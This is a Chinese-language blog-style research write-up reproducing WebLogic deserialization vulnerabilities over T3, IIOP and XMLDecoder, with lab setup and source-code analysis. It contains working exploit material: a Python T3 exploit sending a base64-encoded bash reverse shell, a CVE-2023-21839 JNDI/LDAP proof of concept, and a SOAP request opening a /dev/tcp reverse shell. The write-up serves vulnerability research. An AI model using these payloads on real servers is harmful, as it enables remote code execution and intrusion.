前言 早在四月份就想搞了,因为看到有人拿这个水洞,可是环境一直有问题就耽搁下来了,直到最近在实战中又遇到了,就又重新试试环境,结果发现docker的问题,真是绕了好大一圈,也不知道还能不能挖出来cve(照着箭心画靶子)  
WebLogic 是由 Oracle 提供的一个企业级应用服务器(类似于自带各种组件的Tomcat),支持 Java EE规范。它是一款全功能的应用服务器,具备高可扩展性,高效的应用集群,负载均衡能力和复杂的企业级服务,提供了丰富的管理控制台,允许管理员通过图形界面进行服务器配置、部署、监控等
环境搭建 搭环境遇到了很多问题,什么年代了还用centos(狗头),这是我最后成功的dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 FROM centos:8 ARG JDK_PKG ARG WEBLOGIC_JAR RUN rm -f /etc/yum.repos.d/* RUN curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo RUN  yum clean all RUN  yum makecache RUN yum install -y libnsl 
 
注意: 还有不用了一定把docker对应的容器给关了,实在不行重启可以解决百分之80的问题
配置远程调试 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u202 weblogic1036jdk8u202  docker exec  -it weblogic /bin/bash  vi /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh debugFlag="true"  export  debugFlag quit docker restart 容器id docker cp weblogic:/root ./weblogic_jars  copy /Y "E:\user\Desktop\java\weblogic\weblogic_10.3.6\Oracle\Middleware\wlserver_10.3\sip\server\lib\wlss_i18n.jar"  ".\test"   
 
 终于成了,十分有九分的不容易
T3协议 Java RMI 的基础通信协议是 JRMP,而WebLogic T3协议是Oracle WebLogic Server中用于通信的协议之一。它基于Java语言,通过TCP/IP协议进行通信,通常使用在Java EE应用程序与WebLogic Server之间的通信中。
默认情况下,管理控制台的端口是 7001,应用是 7003,节点管理器是 5556,初次部署时需要注意让防火墙放行这三个端口。
因为第一部分会校验数据包长度,如果长度不匹配weblogic会报java.io.EOFException异常。 通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据,即可触发漏洞。
发送协议脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from  os import  popenimport  struct  import  subprocessfrom  sys import  stdoutimport  socketimport  reimport  binasciidef  generatePayload (gadget, cmd ):    YSO_PATH = "/home/bmth/web/ysoserial-0.0.6-SNAPSHOT-all.jar"      popen = subprocess.Popen(['java' , '-jar' , YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)     return  popen.stdout.read() def  T3Exploit (ip, port, payload ):    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     sock.connect((ip, port))     handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"      sock.sendall(handshake.encode())     data = sock.recv(1024 )     data += sock.recv(1024 )     compile  = re.compile ("HELO:(.*).0.false" )     print (data.decode())     match = compile .findall(data.decode())     if  match:         print ("Weblogic: "  + "" .join(match))     else :         print ("Not Weblogic" )         return      header = binascii.a2b_hex(b"00000000" )     t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006" )     desflag = binascii.a2b_hex(b"fe010000" )     payload = header + t3header + desflag + payload     payload = struct.pack(">I" , len (payload)) + payload[4 :]     sock.send(payload) if  __name__ == "__main__" :    ip = "192.168.111.178"      port = 7001      gadget = "CommonsCollections1"      cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xMTEuMTc4LzY2NjYgPCYxJw==}|{base64,-d}|{bash,-i}"      payload = generatePayload(gadget, cmd)     T3Exploit(ip, port, payload) 
 
因为发送脚本没有太大变化,下面就只分析发送的payload
T3反序列化 CVE-2015-4852 漏洞点处于wlthint3client.jar!\weblogic\rjvm\InboundMsgAbbrev.class#readObject,该方法会反序列化我们传入的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19   private  Object readObject (MsgAbbrevInputStream var1)  throws  IOException, ClassNotFoundException  {         int  var2 = var1.read();         switch  (var2) {             case  0 :                  return  (new  ServerChannelInputStream(var1)).readObject();              case  1 :                 return  var1.readASCII();             default :                 throw  new  StreamCorruptedException("Unknown typecode: '"  + var2 + "'" );         } ...... private  static  class  ServerChannelInputStream  extends  ObjectInputStream  implements  ServerChannelStream   {        private  final  ServerChannel serverChannel;         private  ServerChannelInputStream (MsgAbbrevInputStream var1)  throws  IOException  {             super (var1);             this .serverChannel = var1.getServerChannel();         } 
 
修复就是直接在ServerChannelInputStream#resolveClass 里设置黑名单
resolveClass 这里直接看ObjectInputStream#resolveClass,可以看到所有类的初始化都会在resolveClass方法中进行,如果重写了该方法,就可以有效的设置黑名单,ctf中也经常遇到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected  Class<?> resolveClass(ObjectStreamClass desc)throws  IOException, ClassNotFoundException   { String name = desc.getName(); try  {    return  Class.forName(name, false , latestUserDefinedLoader()); } catch  (ClassNotFoundException ex) {     Class cl = (Class) primClasses.get(name);     if  (cl != null ) { 	return  cl;     } else  { 	throw  ex;     } } 
 
1 2 3 4 5 6 resolveClass:680, ObjectInputStream (java.io) readNonProxyDesc:1859, ObjectInputStream (java.io) readClassDesc:1745, ObjectInputStream (java.io) readOrdinaryObject:2033, ObjectInputStream (java.io) readObject0:1567, ObjectInputStream (java.io) readObject:427, ObjectInputStream (java.io) 
 
CVE-2016-0638 二次反序列化的理念 那么怎么绕过resolveClass,前面说了这个黑名单限制经常在ctf中用来出题(当然我做的ctf题目肯定没这个cve早),ctf中有一种绕过方法,就是二次反序列化 ,最经典的莫过于原生的java.security.SignedObject#getObject()及在一个方法中再次反序列化,只要readobject在到达该方法前没有触发黑名单,就可以绕过 
Externalizable接口 Externalizable接口继承了Serializable接口,所以实现Externalizable接口也能实现序列化和反序列化。 Externalizable接口中定义了writeExternal和readExternal两个抽象方法,通过注释,可以看出这两个方法其实对应Serializable接口的writeObject和readObject方法。
readExternal 需要开发者手动处理对象的每一个字段的读取过程。它不像 Serializable 那样有默认的机制,而是需要手动指定如何从流中读取每个字段的值。
1 2 3 4 public  void  readExternal (ObjectInput in)  throws  IOException, ClassNotFoundException  {    someField = in.readInt();       anotherField = in.readUTF();   } 
 
在调用readObject()时,如果类实现的是Externalizable接口,则会调用readExternal方法 
StreamMessageImpl#readExternal 找到了个黑名单之外的类weblogic.jms.common.StreamMessageImpl#readExternal  会readObject一部分传入的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public  void  readExternal (ObjectInput var1)  throws  IOException, ClassNotFoundException  {       super .readExternal(var1);        byte  var2 = var1.readByte();        byte  var3 = (byte )(var2 & 127 );        if  (var3 >= 1  && var3 <= 3 ) {            switch  (var3) {                case  1 :                    this .payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);                    BufferInputStream var4 = this .payload.getInputStream();                    ObjectInputStream var5 = new  ObjectInputStream(var4);                    this .setBodyWritable(true );                    this .setPropertiesWritable(true );                    try  {                        while (true ) {                            this .writeObject(var5.readObject()); 
 
CVE-2016-0638 这是对补丁的另一个绕过方法
readResolve **默认方法readResolve()**是Serializable 接口的一部分。当一个对象被反序列化时,readResolve方法会在readObject之后调用
及在调用readObject()时,如果被反序列化的这个类有重写readResolve方法 ,则会调用
MarshalledObject#readResolve  weblogic.corba.utils.MarshalledObject#readResolve 会readObject一个参数,造成二次反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public  final  class  MarshalledObject  implements  Serializable   {    private  byte [] objBytes = null ;     private  int  hash;     public  MarshalledObject (Object obj)  throws  IOException  {         if  (obj == null ) {             this .hash = 13 ;         } else  {             ByteArrayOutputStream baos = new  ByteArrayOutputStream();             ObjectOutputStream out = new  MarshalledObjectOutputStream(baos);             out.writeObject(obj);             out.flush();             this .objBytes = baos.toByteArray();              int  h = 0 ;             for (int  i = 0 ; i < this .objBytes.length; ++i) {                 h = 31  * h + this .objBytes[i];             }             this .hash = h;         }     } ....................  public  Object readResolve ()  throws  IOException, ClassNotFoundException, ObjectStreamException  {         if  (this .objBytes == null ) {             return  null ;         } else  {             ByteArrayInputStream bin = new  ByteArrayInputStream(this .objBytes);             ObjectInputStream in = new  ObjectInputStream(bin);             Object obj = in.readObject();             in.close();             return  obj;         }     }     
 
我们在序列化时,构造方法封装上恶意的objBytes,在反序列化readObject触发readResolve时就可以二次反序列化了
CVE-2017-3248 通过JRMP 协议达到执行任意反序列化
1 2 3 4 5 6 7 8 9 10     ObjID id = new  ObjID(new  Random().nextInt());      TCPEndpoint te = new  TCPEndpoint(host, port);     UnicastRef ref = new  UnicastRef(new  LiveRef(id, te, false ));     RemoteObjectInvocationHandler obj = new  RemoteObjectInvocationHandler(ref);     Registry proxy = (Registry) Proxy.newProxyInstance(BypassPayloadSelector.class.getClassLoader(), new  Class[]{         Registry.class             }, obj);     return  proxy; } 
 
反序列化分析
在proxy的反序列化的过程中会实例化对应的InvocationHandler,于是就调用了InvocationHandler的readObject方法 (不知道为什么非要套一层proxy,我本地试的是可以直接反序列化的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public  abstract  class  RemoteObject  implements  Remote , java .io .Serializable   {................ private  void  readObject (java.io.ObjectInputStream in)         throws  java.io.IOException, java.lang.ClassNotFoundException      {....................................             ref.readExternal(in);         } ....................................     public  void  readExternal (ObjectInput var1)  throws  IOException, ClassNotFoundException  {         this .ref = LiveRef.read(var1, false );     }  public  static  LiveRef read (ObjectInput var0, boolean  var1)  throws  IOException, ClassNotFoundException  {         TCPEndpoint var2;         if  (var1) {             var2 = TCPEndpoint.read(var0);         } else  {             var2 = TCPEndpoint.readHostPortFormat(var0);         }         ObjID var3 = ObjID.read(var0);         boolean  var4 = var0.readBoolean();         LiveRef var5 = new  LiveRef(var3, var2, false );         if  (var0 instanceof  ConnectionInputStream) {             ConnectionInputStream var6 = (ConnectionInputStream)var0;             var6.saveRef(var5);             if  (var4) {                 var6.setAckNeeded();             }         } else  {             DGCClient.registerRefs(var2, Arrays.asList(var5));         } .................................................   static  void  registerRefs (Endpoint var0, List<LiveRef> var1)   {         EndpointEntry var2;         do  {             var2 = DGCClient.EndpointEntry.lookup(var0);         } while (!var2.registerRefs(var1));     } 
 
其他绕过 也可以直接反序列化UnicastRef对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public  Registry getObject (final  String command)  throws  Exception  {    String host;     int  port;     int  sep = command.indexOf(':' );     if  (sep < 0 ) {         port = new  Random().nextInt(65535 );         host = command;     } else  {         host = command.substring(0 , sep);         port = Integer.valueOf(command.substring(sep + 1 ));     }     ObjID id = new  ObjID(new  Random().nextInt());      TCPEndpoint te = new  TCPEndpoint(host, port);     UnicastRef ref = new  UnicastRef(new  LiveRef(id, te, false ));     return  ref; 
 
也可以寻找RemoteObject的其他子类(反正调的是父类RemoteObject的readobject),如ReferenceWrapper_Stub
CVE-2020-2555 CVE-2020-2555 BadAttributeValueExpException+LimitFilter.toString()引起的任意方法调用 CVE-2020-2883 上面链子compare方法也能触发,改用PriorityQueue调用compare方法
RMI-IIOP RMI-IIOP 是 RMI 的一个扩展,使得 Java 程序可以与使用 CORBA(Common Object Request Broker Architecture)标准的其他语言编写的程序进行互操作。通过 IIOP 协议进行远程调用 Weblogic IIOP协议默认开启,跟T3协议一起监听在7001或其他端口。
基本使用 1 2 3 4 5 6 7 8 9 10 11 MyRemoteObject remoteObject = new  MyRemoteObject(); Hashtable env = new  Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory" ); env.put(Context.PROVIDER_URL, "iiop://172.16.1.128:7001" );  Context ctx = new  InitialContext(env); ctx.rebind("myRemoteObject" , remoteObject); MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject" ); 
 
IIOP反序列化漏洞 可以看出在使用上RMI-IIOP和rmi没有太大的区别,那么RMI攻击注册端的思路是不是也可以使用
CVE-2020-2551 bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端,在服务端进行反序列化
在XXL-JOB我们分析过org/springframework/jndi/JndiTemplate#lookup是存在lookup利用点的,weblogic同样存在spring frame,所以可以利用JtaTransactionManager反序列化进行jndi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public  class  JtaTransactionManager  extends  AbstractPlatformTransactionManager  implements  TransactionFactory , InitializingBean , Serializable   {.........................................................    private  void  readObject (ObjectInputStream ois)  throws  IOException, ClassNotFoundException  {         ois.defaultReadObject();         this .jndiTemplate = new  JndiTemplate();         this .initUserTransactionAndTransactionManager();         this .initTransactionSynchronizationRegistry();     } .........................................................   protected  void  initUserTransactionAndTransactionManager ()  throws  TransactionSystemException  {         if  (this .userTransaction == null ) {             if  (StringUtils.hasLength(this .userTransactionName)) {                 this .userTransaction = this .lookupUserTransaction(this .userTransactionName);                 this .userTransactionObtainedFromJndi = true ;             } else  {                 this .userTransaction = this .retrieveUserTransaction();             }         } ......................................................... protected  UserTransaction lookupUserTransaction (String userTransactionName)  throws  TransactionSystemException  {        try  {             if  (this .logger.isDebugEnabled()) {                 this .logger.debug("Retrieving JTA UserTransaction from JNDI location ["  + userTransactionName + "]" );             }             return  (UserTransaction)this .getJndiTemplate().lookup(userTransactionName, UserTransaction.class);          } 
 
POC网络问题 一开始我怎么也抓不到调试,找了好久找到了这篇文章https://xz.aliyun.com/t/7498?time__1311=n4%2BxnD0Dy7GQ3AKee05%2BbWGOiGC7e8e%3Dw74D,才知道Weblogic直接使用本地ip地址作为bind地址,所以该poc只能在内网或者双方都有出网ip的网络,NAT 网络访问不到,而我搭建的Weblogic的docker在虚拟机里,为了方便poc没打包直接本地运行,所以访问错误
网上的方法是修改weblogic\iiop\IOPProfile.class,写死ip,重新打包 也可以利用类的解析顺序,在当前项目创造一个一模一样的类路径修改,read方法即可
CVE-2023-21839 。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory" ;                  String url = "t3://192.168.58.130:7001" ;          Hashtable env1 = new  Hashtable();         env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);         env1.put(Context.PROVIDER_URL, url);          InitialContext c = new  InitialContext(env1);                  Hashtable env2 = new  Hashtable();         env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" );                  ForeignOpaqueReference f = new  ForeignOpaqueReference();         Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment" );         jndiEnvironment.setAccessible(true );         jndiEnvironment.set(f, env2);         Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName" );         remoteJNDIName.setAccessible(true );         String ldap = "ldap://k3f1jk.dnslog.cn/Basic/Command/calc" ;         remoteJNDIName.set(f, ldap);                  c.rebind("sectest" , f);                  try  {             c.lookup("sectest" );         } catch  (Exception e) {         } 
 
lookup查看远程对象,触发getObjectInstance函数
1 2 3 4 getObjectInstance:96, WLNamingManager (weblogic.jndi.internal) resolveObject:377, ServerNamingNode (weblogic.jndi.internal) resolveObject:856, BasicNamingNode (weblogic.jndi.internal) lookup:209, BasicNamingNode (weblogic.jndi.internal) 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package  weblogic.jndi.internal;public  final  class  WLNamingManager   {        public  static  Object getObjectInstance (Object var0, Name var1, Context var2, Hashtable var3)  throws  NamingException  {         if  (var0 instanceof  OpaqueReference) {             var0 = ((OpaqueReference)var0).getReferent(var1, var2);         } .......................................... package  weblogic.deployment.jms;public  class  ForeignOpaqueReference  implements  ForeignOpaqueTag , OpaqueReference , Serializable   {    private  static  String AQJMS_QPREFIX = "Queues/" ;     private  static  String AQJMS_TPREFIX = "Topics/" ;     private  Hashtable jndiEnvironment;     private  String remoteJNDIName;   AbstractSubject var3 = SubjectManager.getSubjectManager().getCurrentSubject(KERNEL_ID);         InitialContext var4;         if  (this .jndiEnvironment == null ) {             var4 = new  InitialContext();         } else  {             if  (this .jndiEnvironment.get("java.naming.factory.initial" ) == null ) {                 this .jndiEnvironment.put("java.naming.factory.initial" , "weblogic.jndi.WLInitialContextFactory" );             }             var4 = new  InitialContext(this .jndiEnvironment);         } .........................................         Object var5;         try  {             if  (this .jndiEnvironment == null  || !AQJMS_ICF.equals(this .jndiEnvironment.get("java.naming.factory.initial" )) || this .remoteJNDIName == null  || !this .remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this .remoteJNDIName.startsWith(AQJMS_TPREFIX)) {                 var5 = var4.lookup(this .remoteJNDIName);             }else  {                 synchronized (this ) {                     if  (this .cachedReferent == null ) {                         this .cachedReferent = var4.lookup(this .remoteJNDIName);                     }                 } 
 
感觉不是很难
后续绕过CVE-2024-20931 补丁是检测了remoteJNDIName必须以java开头 但是还能到 var4 = new InitialContext(this.jndiEnvironment);,而在在oracle.jms.AQjmsInitialContextFactory进行初始化会调用lookup
后续 本来是奔的挖cve来的,但是不知道为什么自己的tabby分析多个jar包一直找不到类,也没个报错,再加上连着几天搞weblogic自己有点乏了,src挖到的目标也没开IIOP,先放放吧
XMLDecoder反序列化 漏洞引发的原因是Weblogic wls-wsat组件在反序列化操作时使用了Oracle官方的JDK组件中XMLDecoder类 进行XML反序列化操作引发了代码执行。也就说XMLDecoder类在解析XML文件的时候出现了反序列化问题
CVE-2017-3506 存在问题的路由
1 2 3 4 5 6 7 8 /wls-wsat/CoordinatorPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/ParticipantPortType /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationPortTypeRPC /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/RegistrationRequesterPortType /wls-wsat/RegistrationRequesterPortType11 
 
XMLDecoder反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 POST /wls-wsat/ParticipantPortType HTTP/1.1 Host: 192.168.58.130:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 Content-Type: text/xml Content-Length: 5128 <soapenv:Envelope  xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" >     <soapenv:Header >      <work:WorkContext  xmlns:work ="http://bea.com/2004/06/soap/workarea/" >          <java >          <object  class ="java.lang.ProcessBuilder" >              <array  class ="java.lang.String"  length ="3" >              <void  index ="0" >                  <string > /bin/bash</string >              </void >              <void  index ="1" >                  <string > -c</string >              </void >              <void  index ="2" >                  <string > bash -i >& /dev/tcp/192.168.111.178/6666 0>&1</string >              </void >              </array >              <void  method ="start" />          </object >          </java >      </work:WorkContext >      </soapenv:Header >      <soapenv:Body />  </soapenv:Envelope >